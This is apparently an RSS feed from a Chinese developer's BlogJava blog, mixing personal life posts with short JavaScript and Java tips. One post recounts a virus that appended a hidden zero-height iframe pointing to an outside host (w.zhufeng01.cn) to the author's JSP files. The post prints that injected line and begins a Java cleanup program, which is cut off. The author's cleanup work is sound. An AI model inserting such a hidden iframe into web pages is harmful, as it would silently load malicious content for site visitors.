﻿<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:trackback="http://madskills.com/public/xml/rss/module/trackback/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/"><channel><title>语源科技BlogJava-冷面阎罗</title><link>http://www.blogjava.net/soddabao/</link><description>低调做人&amp;&amp;高调做事</description><language>zh-cn</language><lastBuildDate>Sun, 12 Jul 2026 08:50:59 GMT</lastBuildDate><pubDate>Sun, 12 Jul 2026 08:50:59 GMT</pubDate><ttl>60</ttl><item><title>4年我终于离开东软了</title><link>http://www.blogjava.net/soddabao/archive/2010/07/03/325122.html</link><dc:creator>冷面阎罗</dc:creator><author>冷面阎罗</author><pubDate>Sat, 03 Jul 2010 02:52:00 GMT</pubDate><guid>http://www.blogjava.net/soddabao/archive/2010/07/03/325122.html</guid><wfw:comment>http://www.blogjava.net/soddabao/comments/325122.html</wfw:comment><comments>http://www.blogjava.net/soddabao/archive/2010/07/03/325122.html#Feedback</comments><slash:comments>4</slash:comments><wfw:commentRss>http://www.blogjava.net/soddabao/comments/commentRss/325122.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/soddabao/services/trackbacks/325122.html</trackback:ping><description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;之前虽然有各种想法，但是最终都没有走成，不过这次真的走，而且已经在下家工作半个多月了，马上就要5年了，眼瞅着就要在东软立碑了(东软5年立碑，十年送表)，现在回想发现我走晚了，毕竟在东软我不能过一辈子，早痛不如晚痛，早晚都要离的。<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 其实如果抛开工作的最终目标&#8230;&#8230;工资，东软还有很多地方不错，但是如果考虑到生活，东软确实很不适合我。<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 其一、在大连的IT朋友都知道，东软在河口，一般下班回家都得在7点左右，而且这还是到6点下班就走人，路上不堵车的情况下，试想如果成家了，7点到家然后再做饭吃饭，那么吃饭的时间差不多在8点，也就是要9点左右才能收拾完，你那里还有时间陪家人，如果有孩子，宝宝和爸爸在一起玩的时间就更少了，当然你可以买车，确实买车可以节省不少时间，但考虑你的收入，能买起房子的必然有房贷(不考虑家里给付全款，这样的很少)，房贷算2k，一家2口的月消费在2.5k吧，这个算保守估计，余下你的工资+你老婆的工资什么时候能攒到买车以及养车呢？<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 其二、出差，在东软做国内项目的，可以说没有不出差，出差的状况，我想不用我说大家也都知道，当然如果你有妻子孩子呢？你能忍受么？对我记的最深的一件事情就是去年冬天去贵州，晚上派出所民警走访，我媳妇在家就是不开门，吓的晚上没敢睡觉，弄全家6口人提心吊胆好几天，而现如今我家媳妇已怀孕了，我能安心出差么？不出差那是不可能滴，这张状况下我只有离开<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 其三、结婚，如果不是因为出差，09年就婚了，但由于出差，使得我和老婆领结婚证的日期一推再推，每个人都会有自己的纪念日、自己喜欢的日期，但由于出差我只能和领导请假请假再请假，在年底好不容易才回来领证，那还考虑日期的，能领就不错了，要不到10年就不好了。而自己结婚的时候请同事的时候，发生一件让我更为愤慨的事情，原本我计划的日期，由于我的主管(部门经理)出差，她说推迟，可推迟后的日期她仍没有去，而且我请客的饭店就在她家附近，即使是步行也就10分钟，她出差回来了都没去，而且休婚假回来上班的时候看见我和没事一样，我怀疑是领导但是送分子白送了，&#8756;还是不去免的随份子，就算她随也没多少，大连最低标准吧，就是在大连最普通的朋友随的数目。<br />
<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp; 离职的日期，我选在休婚假回来的第二天和领导提出的，想在第一天看看有什么状态么？结果还是没什么，所以我就提出了，领导虽说了留我，但我说啥都没用，必须得走，要不娃以后都没有奶粉钱，之前领导还和我比穷，看看谁套现信用卡多，谁欠银行的钱多，最后他还是很顺利的让我办各种手续，在此向这个领导说一声谢谢！<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 其余我也不想多说了，鉴于东软的淫威，少说一句话不能死人，多说一句话可能给自己带来不必要的麻烦，所以我还是少一事不如多一事。之前自己再离职前也说过什么走之后怎么怎么的，但现在想想东软给我的不少，但自己给予东软的更多，作为一个项目经理，收入都没有手下刚工作的多，不过这都是08的事情。<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 现在自己的工作还不错，下班后回家给媳妇做饭一点都不耽误，饭后陪媳妇在小区散步。新环境下领导、同事都比较照顾，现在呢？就像QQ签名说的：真希望早点过年，因为过年的时候我会收到人生最好的新年礼物。<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 希望<span style="color: #ff0000"><strong>所有曾在东软工作的同事</strong></span>，可能我们认识、不认识，但我祝福你们，希望我们事事如愿，就像《人生囧途》的牛耿想啥来啥。对于东软，我们要抱着一颗感恩的心，就像华中科技大学的礼培根校长说的那样：什么是母校？就是那个你一天骂他八遍却不许别人骂的地方，面对我们曾经为之付出的东软，而且已经本科毕业(4年)，我们不应该这样么？<br />
&nbsp;<br />
&nbsp;&nbsp;&nbsp; 
 <img src ="http://www.blogjava.net/soddabao/aggbug/325122.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/soddabao/" target="_blank">冷面阎罗</a> 2010-07-03 10:52 <a href="http://www.blogjava.net/soddabao/archive/2010/07/03/325122.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>2009-10-28人生一个特殊日子</title><link>http://www.blogjava.net/soddabao/archive/2009/10/27/299972.html</link><dc:creator>冷面阎罗</dc:creator><author>冷面阎罗</author><pubDate>Tue, 27 Oct 2009 12:47:00 GMT</pubDate><guid>http://www.blogjava.net/soddabao/archive/2009/10/27/299972.html</guid><wfw:comment>http://www.blogjava.net/soddabao/comments/299972.html</wfw:comment><comments>http://www.blogjava.net/soddabao/archive/2009/10/27/299972.html#Feedback</comments><slash:comments>3</slash:comments><wfw:commentRss>http://www.blogjava.net/soddabao/comments/commentRss/299972.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/soddabao/services/trackbacks/299972.html</trackback:ping><description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; BLOGJAVA我离开快一年了，这一年不是不思进取也不是不想写blog，而是单位检查的太恶心，整天定着网上的blog，看看是不是自己单位的员工写的，如果是看看有没有泄露技术，要是有一点，就马上就信息安全专员谈话，这个领导谈话，还要马上把blog清掉，还带承担连带的民事、刑事责任(我好怕怕，都不敢写了)<br />
<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 2009-10-28是我人生的一个特殊日子，打算与相恋2年(整整2年，07.10.28我们走到一起)的女友去领结婚证，人生迈开又一页，在这半年内买房子、装修、照婚纱照、领结婚证，忙的不亦乐乎。<br />
<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 中午吃饭的时候和同事说，都马上就30了，搞计算机的30后就开始走下坡路，可是我还有达到辉煌，却要走下坡路，不免为自己的后半生犯难，以后不是一个人在战斗，不是一人吃饱全家不饿，要做一个男人，一个真正的男人，一个养家糊口的男人，我还要付出很多~~~<br />
<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 在此希望所有看到此文的网友以及没看到的网友，有情人终成眷属，生活美满，人人都做技术大拿，薪水如黄河之水滔滔不绝，多的花都不想花；当然也希望得到网友们的祝福，祝我新婚快乐~~&nbsp;<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 感谢BLOGJAVA让我认识这些多朋友，谢谢了
<img src ="http://www.blogjava.net/soddabao/aggbug/299972.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/soddabao/" target="_blank">冷面阎罗</a> 2009-10-27 20:47 <a href="http://www.blogjava.net/soddabao/archive/2009/10/27/299972.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>IE关闭方法</title><link>http://www.blogjava.net/soddabao/archive/2009/03/19/260783.html</link><dc:creator>冷面阎罗</dc:creator><author>冷面阎罗</author><pubDate>Thu, 19 Mar 2009 06:57:00 GMT</pubDate><guid>http://www.blogjava.net/soddabao/archive/2009/03/19/260783.html</guid><wfw:comment>http://www.blogjava.net/soddabao/comments/260783.html</wfw:comment><comments>http://www.blogjava.net/soddabao/archive/2009/03/19/260783.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/soddabao/comments/commentRss/260783.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/soddabao/services/trackbacks/260783.html</trackback:ping><description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; IE6调用window.close()方法可以直接将IE关掉，但是这个方法在IE7下就不好，在网上baidu了半天也没有找到合适的方法，最后没有办法只好让其弹出对话框，由客户点一下了。<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 最近发现这个方法可以将IE7直接关闭，共享下<br />
<div style="border-right: #cccccc 1px solid; padding-right: 5px; border-top: #cccccc 1px solid; padding-left: 4px; font-size: 13px; padding-bottom: 4px; border-left: #cccccc 1px solid; width: 98%; word-break: break-all; padding-top: 4px; border-bottom: #cccccc 1px solid; background-color: #eeeeee"><img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" /><span style="color: #000000"><br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;var&nbsp;isIE6&nbsp;</span><span style="color: #000000">=</span><span style="color: #000000">&nbsp;(window.navigator.userAgent.indexOf(</span><span style="color: #000000">"</span><span style="color: #000000">MSIE&nbsp;6</span><span style="color: #000000">"</span><span style="color: #000000">)&nbsp;</span><span style="color: #000000">!=</span><span style="color: #000000">&nbsp;</span><span style="color: #000000">-</span><span style="color: #000000">1</span><span style="color: #000000">);&nbsp;&nbsp;&nbsp;<br />
<img id="Codehighlighter1_88_128_Open_Image" onclick="this.style.display='none'; Codehighlighter1_88_128_Open_Text.style.display='none'; Codehighlighter1_88_128_Closed_Image.style.display='inline'; Codehighlighter1_88_128_Closed_Text.style.display='inline';" src="http://www.blogjava.net/images/OutliningIndicators/ExpandedBlockStart.gif" align="top"  alt="" /><img id="Codehighlighter1_88_128_Closed_Image" style="display: none" onclick="this.style.display='none'; Codehighlighter1_88_128_Closed_Text.style.display='none'; Codehighlighter1_88_128_Open_Image.style.display='inline'; Codehighlighter1_88_128_Open_Text.style.display='inline';" src="http://www.blogjava.net/images/OutliningIndicators/ContractedBlock.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff">if</span><span style="color: #000000">(isIE6)&nbsp;</span><span id="Codehighlighter1_88_128_Closed_Text" style="border-right: #808080 1px solid; border-top: #808080 1px solid; display: none; border-left: #808080 1px solid; border-bottom: #808080 1px solid; background-color: #ffffff"><img src="http://www.blogjava.net/Images/dot.gif"  alt="" /></span><span id="Codehighlighter1_88_128_Open_Text"><span style="color: #000000">{&nbsp;&nbsp;&nbsp;<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/InBlock.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;window.opener</span><span style="color: #000000">=</span><span style="color: #0000ff">null</span><span style="color: #000000">;&nbsp;&nbsp;&nbsp;<br />
<img id="Codehighlighter1_135_183_Open_Image" onclick="this.style.display='none'; Codehighlighter1_135_183_Open_Text.style.display='none'; Codehighlighter1_135_183_Closed_Image.style.display='inline'; Codehighlighter1_135_183_Closed_Text.style.display='inline';" src="http://www.blogjava.net/images/OutliningIndicators/ExpandedBlockStart.gif" align="top"  alt="" /><img id="Codehighlighter1_135_183_Closed_Image" style="display: none" onclick="this.style.display='none'; Codehighlighter1_135_183_Closed_Text.style.display='none'; Codehighlighter1_135_183_Open_Image.style.display='inline'; Codehighlighter1_135_183_Open_Text.style.display='inline';" src="http://www.blogjava.net/images/OutliningIndicators/ContractedBlock.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;}</span></span><span style="color: #000000">&nbsp;</span><span style="color: #0000ff">else</span><span style="color: #000000">&nbsp;</span><span id="Codehighlighter1_135_183_Closed_Text" style="border-right: #808080 1px solid; border-top: #808080 1px solid; display: none; border-left: #808080 1px solid; border-bottom: #808080 1px solid; background-color: #ffffff"><img src="http://www.blogjava.net/Images/dot.gif"  alt="" /></span><span id="Codehighlighter1_135_183_Open_Text"><span style="color: #000000">{&nbsp;&nbsp;&nbsp;<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/InBlock.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;window.open(</span><span style="color: #000000">''</span><span style="color: #000000">,</span><span style="color: #000000">'</span><span style="color: #000000">_self</span><span style="color: #000000">'</span><span style="color: #000000">,</span><span style="color: #000000">''</span><span style="color: #000000">);&nbsp;&nbsp;&nbsp;<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/ExpandedBlockEnd.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;}</span></span><span style="color: #000000">&nbsp;&nbsp;&nbsp;<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;window.close();&nbsp;&nbsp;&nbsp;<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" /></span></div>
&nbsp;&nbsp; 这个方法同时支持IE6.
<img src ="http://www.blogjava.net/soddabao/aggbug/260783.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/soddabao/" target="_blank">冷面阎罗</a> 2009-03-19 14:57 <a href="http://www.blogjava.net/soddabao/archive/2009/03/19/260783.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>房子首付款交了，等待办贷款，开始准备研究装修</title><link>http://www.blogjava.net/soddabao/archive/2009/03/13/259479.html</link><dc:creator>冷面阎罗</dc:creator><author>冷面阎罗</author><pubDate>Fri, 13 Mar 2009 01:17:00 GMT</pubDate><guid>http://www.blogjava.net/soddabao/archive/2009/03/13/259479.html</guid><wfw:comment>http://www.blogjava.net/soddabao/comments/259479.html</wfw:comment><comments>http://www.blogjava.net/soddabao/archive/2009/03/13/259479.html#Feedback</comments><slash:comments>1</slash:comments><wfw:commentRss>http://www.blogjava.net/soddabao/comments/commentRss/259479.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/soddabao/services/trackbacks/259479.html</trackback:ping><description><![CDATA[　　　３．１１把首付款交了，家里人让多交点，少贷点，不过还是按照的意思来：就只交了２成首付款，其余３０多ｗ全贷着。<br />
<br />
　　　之前就听说装修麻烦，现在感觉到，我现在的感觉有点老虎吃天无从下口，不过还好现在都是网络时代，先去论坛灌灌水，加几个ＱＱ群，网络是真太方便了。<br />
<br />
　　　截止到目前，我比较贵重物品都是从网上买来的，其中也包括媳妇O(&#8745;_&#8745;)O哈哈~<br />
<br />
　　　不写了，继续去论坛潜水，期待贷款办下来，我就是房主＋房奴了O(&#8745;_&#8745;)O~
<img src ="http://www.blogjava.net/soddabao/aggbug/259479.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/soddabao/" target="_blank">冷面阎罗</a> 2009-03-13 09:17 <a href="http://www.blogjava.net/soddabao/archive/2009/03/13/259479.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>2009年3月9日一个特殊日志</title><link>http://www.blogjava.net/soddabao/archive/2009/03/10/258724.html</link><dc:creator>冷面阎罗</dc:creator><author>冷面阎罗</author><pubDate>Tue, 10 Mar 2009 02:05:00 GMT</pubDate><guid>http://www.blogjava.net/soddabao/archive/2009/03/10/258724.html</guid><wfw:comment>http://www.blogjava.net/soddabao/comments/258724.html</wfw:comment><comments>http://www.blogjava.net/soddabao/archive/2009/03/10/258724.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/soddabao/comments/commentRss/258724.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/soddabao/services/trackbacks/258724.html</trackback:ping><description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp; 昨天是一个特殊的日子，但是我心情不知是喜还是悲还是&#8230;&#8230;？<br />
&nbsp;&nbsp;&nbsp;&nbsp; 喜的是：昨天下午去看房子了，算是定下来了，交了中介费，今天下午去找开发商交定金，然后就准备首付款准备办手续，产权什么；突然把房子定下来，女朋友说晚上再考虑考虑，无非就是突然一下子拿出那么多钱不舍得，不过作为男子汉该坚决就坚决。估计一个月后产权就办下来了，在大连总算有个家了，不用再整天租房子了。<br />
&nbsp;&nbsp;&nbsp;&nbsp; 悲的是：老爸老妈半辈子的钱没了，辛苦了半辈子为儿上学、买房子，于心有些不忍，不过好在他们只帮我出了一半的首付款，那一半是我毕业这3年多自己挣的，如果去年出差的话，差不多老娘又能省下2w，不过还好首付款没有华掉老娘所有的积蓄，房贷我自己可以还，不用他们操心。<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp; 喜的是：女朋友昨天换工作了，离开自己工作不愉快的单位，原先她办公室有4个人，一个经理、3个员工，其中2个员工是托关系进去，所有的活全部由她自己干，挣的还不多，而且他们老总还变态，说给升主管还不涨工资，提出离职了还不让走，走之前还要干这个干那个，离职的原因还不让说，还有一个更为恶心：我女朋友是去年3月去，刚开始签了个一年的合同，试用期后把那个合同要走，重签了个一年的，而且试用期不交保险、公积金什么的？去年年末还想把之前的合同要走，想再签一个，他们老总是不是不了解新版劳动法，他们害怕我女朋友闹事，提出离职到走还不到一周的时间&#8230;&#8230;<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp; 昨天的心情说不上来，下午就去交定金，开始办手续了，要准备的东西还不少，我就想不明白要单身证明干什么？<br />
<br />
&nbsp;&nbsp;&nbsp; 不写了，忙去了，开各种证明了。有时间在写。
<img src ="http://www.blogjava.net/soddabao/aggbug/258724.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/soddabao/" target="_blank">冷面阎罗</a> 2009-03-10 10:05 <a href="http://www.blogjava.net/soddabao/archive/2009/03/10/258724.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>javasript与java之间传递汉字乱码</title><link>http://www.blogjava.net/soddabao/archive/2009/02/19/255411.html</link><dc:creator>冷面阎罗</dc:creator><author>冷面阎罗</author><pubDate>Thu, 19 Feb 2009 03:14:00 GMT</pubDate><guid>http://www.blogjava.net/soddabao/archive/2009/02/19/255411.html</guid><wfw:comment>http://www.blogjava.net/soddabao/comments/255411.html</wfw:comment><comments>http://www.blogjava.net/soddabao/archive/2009/02/19/255411.html#Feedback</comments><slash:comments>1</slash:comments><wfw:commentRss>http://www.blogjava.net/soddabao/comments/commentRss/255411.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/soddabao/services/trackbacks/255411.html</trackback:ping><description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;javasript经常往java端传递汉字，之前经常就是一个url串:&#8220;name:冷面阎罗&#8221;，大多数下这样传递都不会出现乱码，不过前几天出现乱码了。<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 于是呼：在js端使用encodeURIComponent将url进行封装一下，然后在java端再将url串进行解码。<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; java端常用的方法<br />
<div style="border-right: #cccccc 1px solid; padding-right: 5px; border-top: #cccccc 1px solid; padding-left: 4px; font-size: 13px; padding-bottom: 4px; border-left: #cccccc 1px solid; width: 98%; word-break: break-all; padding-top: 4px; border-bottom: #cccccc 1px solid; background-color: #eeeeee"><img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" /><span style="color: #000000">String&nbsp;text</span><span style="color: #000000">=</span><span style="color: #0000ff">new</span><span style="color: #000000">&nbsp;String(text.getBytes(</span><span style="color: #000000">"</span><span style="color: #000000">iso8859-1</span><span style="color: #000000">"</span><span style="color: #000000">),</span><span style="color: #000000">"</span><span style="color: #000000">UTF-8</span><span style="color: #000000">"</span><span style="color: #000000">);&nbsp;<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" /></span></div>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 不过我同事说也可以使用jdk的方法<br />
<div style="border-right: #cccccc 1px solid; padding-right: 5px; border-top: #cccccc 1px solid; padding-left: 4px; font-size: 13px; padding-bottom: 4px; border-left: #cccccc 1px solid; width: 98%; word-break: break-all; padding-top: 4px; border-bottom: #cccccc 1px solid; background-color: #eeeeee"><img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" /><span style="color: #000000">URLDecoder.decode(libParams,&nbsp;</span><span style="color: #000000">"</span><span style="color: #000000">UTF-8</span><span style="color: #000000">"</span><span style="color: #000000">);&nbsp;</span></div>
&nbsp; <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 我实验过第一种方法可行，第二种方法未通过验证，如有通过验证的麻烦告知。<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp; 后附：<a title="encodeURIComponent" href="http://www.w3school.com.cn/js/jsref_encodeURIComponent.asp">encodeURIComponent</a>函数， good &nbsp;luck~~~
<img src ="http://www.blogjava.net/soddabao/aggbug/255411.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/soddabao/" target="_blank">冷面阎罗</a> 2009-02-19 11:14 <a href="http://www.blogjava.net/soddabao/archive/2009/02/19/255411.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>中了一个很奇怪的病毒，所有的jsp文件均为改写</title><link>http://www.blogjava.net/soddabao/archive/2009/02/17/255036.html</link><dc:creator>冷面阎罗</dc:creator><author>冷面阎罗</author><pubDate>Tue, 17 Feb 2009 02:49:00 GMT</pubDate><guid>http://www.blogjava.net/soddabao/archive/2009/02/17/255036.html</guid><wfw:comment>http://www.blogjava.net/soddabao/comments/255036.html</wfw:comment><comments>http://www.blogjava.net/soddabao/archive/2009/02/17/255036.html#Feedback</comments><slash:comments>8</slash:comments><wfw:commentRss>http://www.blogjava.net/soddabao/comments/commentRss/255036.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/soddabao/services/trackbacks/255036.html</trackback:ping><description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 上周末，机器中毒了，起初自己没有发现，后来写代码发现运行jsp文件，机器变的奇慢务必，后来以为是机器慢，就把qq、msn 等工具全关掉了，发现还是不行，后来把上网的代理关掉时候发现正常了；再一看jsp文件发现全部被改写了，在文件最后一行加上<br />
<div style="border-right: #cccccc 1px solid; padding-right: 5px; border-top: #cccccc 1px solid; padding-left: 4px; font-size: 13px; padding-bottom: 4px; border-left: #cccccc 1px solid; width: 98%; word-break: break-all; padding-top: 4px; border-bottom: #cccccc 1px solid; background-color: #eeeeee"><img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" /><span style="color: #000000">&lt;</span><span style="color: #000000">iframe&nbsp;src</span><span style="color: #000000">=</span><span style="color: #000000">http:</span><span style="color: #008000">//</span><span style="color: #008000">w.zhufeng01.cn/a.htm&nbsp;width=100&nbsp;height=0&gt;&lt;/iframe&gt;</span></div>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 于是上网找杀毒软件，刚开始用的诺顿(公式规定必须安装)，发现不行就换别的软件，可是病毒不让你安装别的杀毒软件，甚至打开有解决方法的网页，都会将ie关闭。<br />
&nbsp; <br />
&nbsp;&nbsp;&nbsp;&nbsp; 后来同事给了360，算是把病毒稳定了，可是我的jsp、html文件都被改写了，这时想到写程序解决，下面是我弄的java程序删除文件中被增加的iframe。<br />
<div style="border-right: #cccccc 1px solid; padding-right: 5px; border-top: #cccccc 1px solid; padding-left: 4px; font-size: 13px; padding-bottom: 4px; border-left: #cccccc 1px solid; width: 98%; word-break: break-all; padding-top: 4px; border-bottom: #cccccc 1px solid; background-color: #eeeeee"><img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" /><span style="color: #0000ff">import</span><span style="color: #000000">&nbsp;java.io.File;<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" /></span><span style="color: #0000ff">import</span><span style="color: #000000">&nbsp;java.io.RandomAccessFile;<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" /><br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" /></span><span style="color: #0000ff">public</span><span style="color: #000000">&nbsp;</span><span style="color: #0000ff">class</span><span style="color: #000000">&nbsp;RepairPage<br />
<img id="Codehighlighter1_79_1429_Open_Image" onclick="this.style.display='none'; Codehighlighter1_79_1429_Open_Text.style.display='none'; Codehighlighter1_79_1429_Closed_Image.style.display='inline'; Codehighlighter1_79_1429_Closed_Text.style.display='inline';" src="http://www.blogjava.net/images/OutliningIndicators/ExpandedBlockStart.gif" align="top"  alt="" /><img id="Codehighlighter1_79_1429_Closed_Image" style="display: none" onclick="this.style.display='none'; Codehighlighter1_79_1429_Closed_Text.style.display='none'; Codehighlighter1_79_1429_Open_Image.style.display='inline'; Codehighlighter1_79_1429_Open_Text.style.display='inline';" src="http://www.blogjava.net/images/OutliningIndicators/ContractedBlock.gif" align="top"  alt="" /></span><span id="Codehighlighter1_79_1429_Closed_Text" style="border-right: #808080 1px solid; border-top: #808080 1px solid; display: none; border-left: #808080 1px solid; border-bottom: #808080 1px solid; background-color: #ffffff"><img src="http://www.blogjava.net/Images/dot.gif"  alt="" /></span><span id="Codehighlighter1_79_1429_Open_Text"><span style="color: #000000">{<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/InBlock.gif" align="top"  alt="" /><br />
<img src="http://www.blogjava.net/images/OutliningIndicators/InBlock.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff">private</span><span style="color: #000000">&nbsp;</span><span style="color: #0000ff">static</span><span style="color: #000000">&nbsp;</span><span style="color: #0000ff">int</span><span style="color: #000000">&nbsp;num;<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/InBlock.gif" align="top"  alt="" /><br />
<img src="http://www.blogjava.net/images/OutliningIndicators/InBlock.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff">private</span><span style="color: #000000">&nbsp;String&nbsp;worm&nbsp;</span><span style="color: #000000">=</span><span style="color: #000000">&nbsp;</span><span style="color: #000000">"</span><span style="color: #000000">&lt;iframe&nbsp;src=http://w.zhufeng01.cn/a.htm&nbsp;width=100&nbsp;height=0&gt;&lt;/iframe&gt;</span><span style="color: #000000">"</span><span style="color: #000000">;<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/InBlock.gif" align="top"  alt="" /><br />
<img src="http://www.blogjava.net/images/OutliningIndicators/InBlock.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff">public</span><span style="color: #000000">&nbsp;</span><span style="color: #0000ff">void</span><span style="color: #000000">&nbsp;repair(File&nbsp;page)<br />
<img id="Codehighlighter1_236_775_Open_Image" onclick="this.style.display='none'; Codehighlighter1_236_775_Open_Text.style.display='none'; Codehighlighter1_236_775_Closed_Image.style.display='inline'; Codehighlighter1_236_775_Closed_Text.style.display='inline';" src="http://www.blogjava.net/images/OutliningIndicators/ExpandedSubBlockStart.gif" align="top"  alt="" /><img id="Codehighlighter1_236_775_Closed_Image" style="display: none" onclick="this.style.display='none'; Codehighlighter1_236_775_Closed_Text.style.display='none'; Codehighlighter1_236_775_Open_Image.style.display='inline'; Codehighlighter1_236_775_Open_Text.style.display='inline';" src="http://www.blogjava.net/images/OutliningIndicators/ContractedSubBlock.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;</span><span id="Codehighlighter1_236_775_Closed_Text" style="border-right: #808080 1px solid; border-top: #808080 1px solid; display: none; border-left: #808080 1px solid; border-bottom: #808080 1px solid; background-color: #ffffff"><img src="http://www.blogjava.net/Images/dot.gif"  alt="" /></span><span id="Codehighlighter1_236_775_Open_Text"><span style="color: #000000">{<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/InBlock.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #008000">//</span><span style="color: #008000">System.out.println("Try&nbsp;File："+page.getPath());</span><span style="color: #008000"><br />
<img src="http://www.blogjava.net/images/OutliningIndicators/InBlock.gif" align="top"  alt="" /></span><span style="color: #000000">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff">try</span><span style="color: #000000"><br />
